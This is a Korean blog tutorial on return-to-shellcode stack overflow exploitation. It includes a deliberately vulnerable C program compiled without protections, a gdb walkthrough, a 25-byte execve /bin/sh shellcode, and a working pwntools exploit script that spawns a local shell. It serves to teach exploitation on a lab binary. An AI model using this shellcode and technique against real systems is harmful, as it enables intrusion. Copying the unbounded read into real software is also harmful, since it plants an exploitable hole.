Return to Shellcode에 대해

김성진·2022년 7월 21일
0

이번엔 Return to Shellcode에 대해 알아보자.
그리 어려운 내용은 아니다. 앞으로 알아볼 내용들 중 가장 쉬울 수 있다.
우선 Stack BOF와 RET에 관한 선행지식이 필요하다. 이 시리즈를 잘 참조해보자.


📒 Return to Shellcode ?

말 그대로 Shellcode가 있는 주소로 돌아가는 것이다.
그러기 위해선 RET 주소를 덮어야 하며 이는 Stack BOF가 가능한 상황이라는 조건이 필요하다.
또한 스택에 실행권한이 필요하다. 실행권한이 있는 지는 checksec 명령으로 확인할 수 있다.
이는 나중에 확인해보도록 하자.

shellcode란?

Return to Shellcode를 하는데 Shellcode를 모르면 말이 안되는 것 같다.
https://en.wikipedia.org/wiki/Shellcode
셸코드란 기계어의 코드 조각이라고 생각하면 된다.
주로 쉘을 따거나, 특정 파일을 읽어들이는 Shellcode를 많이 작성한다.
만약 EIP(RIP)가 쉘코드를 실행하게 되면, 해킹이 된다고 생각하면 된다.
https://www.google.com/search?q=%EC%89%98%EC%BD%94%EB%93%9C+%EB%AA%A8%EC%9D%8C&oq=%EC%89%98%EC%BD%94%EB%93%9C+%EB%AA%A8%EC%9D%8C&aqs=chrome..69i57l2j69i59l2j69i61l3.3292j0j4&sourceid=chrome&ie=UTF-8
쉘코드 모음은 위에서 확인해보자.


📒 Test

📖 test.c

//gcc -m32 -mpreferred-stack-boundary=2 -fno-stack-protector -z execstack -no-pie -fno-pic -o test test.c
#include <stdio.h>

int main(void){
	char buf[100];
    printf("Buf is here : %p\n", buf);
	read(0, buf, 300);
	return 0;
}

buf의 크기는 100 바이트인데, 300 바이트를 받으므로 BOF가 발생하겠다. RET 영역까지 덮고도 남는다. buf의 주소는 printf로 출력해준다.

📖 debugging

gdb-peda$ disas main
Dump of assembler code for function main:
   0x080491b6 <+0>:	endbr32 
   0x080491ba <+4>:	push   ebp
   0x080491bb <+5>:	mov    ebp,esp
   0x080491bd <+7>:	sub    esp,0x64
   0x080491c0 <+10>:	lea    eax,[ebp-0x64]
   0x080491c3 <+13>:	push   eax
   0x080491c4 <+14>:	push   0x804a008
   0x080491c9 <+19>:	call   0x8049080 <printf@plt>
   0x080491ce <+24>:	add    esp,0x8
   0x080491d1 <+27>:	push   0x12c
   0x080491d6 <+32>:	lea    eax,[ebp-0x64]
   0x080491d9 <+35>:	push   eax
   0x080491da <+36>:	push   0x0
   0x080491dc <+38>:	call   0x8049070 <read@plt>
   0x080491e1 <+43>:	add    esp,0xc
   0x080491e4 <+46>:	mov    eax,0x0
   0x080491e9 <+51>:	leave  
   0x080491ea <+52>:	ret    
End of assembler dump.

먼저 printf 함수를 호출하기 전에 ebp-0x64의 주소를 넣으므로 ebp 직전까지 0x64바이트를 덮어야 한다. 즉 100 바이트이다.

만약 'A'를 108바이트 입력한다면 어떻게 될까? 엔터(\x0a)까지 해서 109바이트를 입력해보자. main+51에 BP를 걸어보자.이제 leave를 해야하는 상황이다. EBP에 저장된 값을 확인해보자. ebp와 ebp+4 (RET)에 저장된 값 모두 0x41414141인 것으로 확인이 된다. 이번엔 leave를 실행해보자. EBP가 0x41414141 이라는 쓰레기 값으로 날라건 것이 확인된다. 이번엔 ret까지 실행해보자.EIP가 0x41414141로 되었으며 code 영역을 보면 유효하지 않은 주소라고 나온다. 이후 실행을 하게 하면 밑에 SIGSEGV가 뜨고, 이를 통해 segmentation fault가 떴다는 것을 확인할 수 있다.

이제는 이런 점들을 이용하여 buf에 shellcode를 넣고 RET를 buf 주소로 바꿔보자.


📒 Exploit

우선 우리가 사용할 쉘코드를 생각해보자.

📖 checksec

본 프로그램은 32비트이고, NX 비트가 설정되어있지 않다.(스택에 실행권한이 존재한다.)

📖 shellcode

32비트 쉘코드를 찾아보도록 하자.

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

25바이트 쉘코드이다. 구글링하면 여러가지 쉘코드가 나온다.

📖 payload

페이로드를 구성해야 한다. 먼저 shellcode는 25바이트인데, SFP까지는 104바이트 이므로 79바이트를 'A' 같은 문자로 덮어주자.

즉 shellcode + 'A' * 79가 현재 상태이다. 이제 작성될 4바이트는 RET 부분이다. 여기에 buf 주소를 넣어주도록 하자.

payload = shellcode + 'A' * 79 + p32(buf_addr)

이렇게 구성해주면 되겠다.

📖 exploit.py

from pwn import *

p = process('./test')

shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80'

p.recvuntil('Buf is here : ')

buf_addr = int(p.recvline()[:-1], 16)
payload = shellcode + 'A' * 79 + p32(buf_addr)

p.send(payload)
p.interactive()

쉘을 딸 수 있다.


📒 끝

사실 페이로드의 초반에 쉘코드를 입력하는 게 추천되지는 않는다.
자세한건 NOP Sled를 알아보자.

https://hg2lee.tistory.com/entry/%EC%8B%9C%EC%8A%A4%ED%85%9C-NOP-sled-%EA%B8%B0%EB%B2%95

되게 잘 설명해주셨다. 언젠가 나도 설명한다면 이곳에 링크를 달도록 하겠다.

profile
Today I Learned

0개의 댓글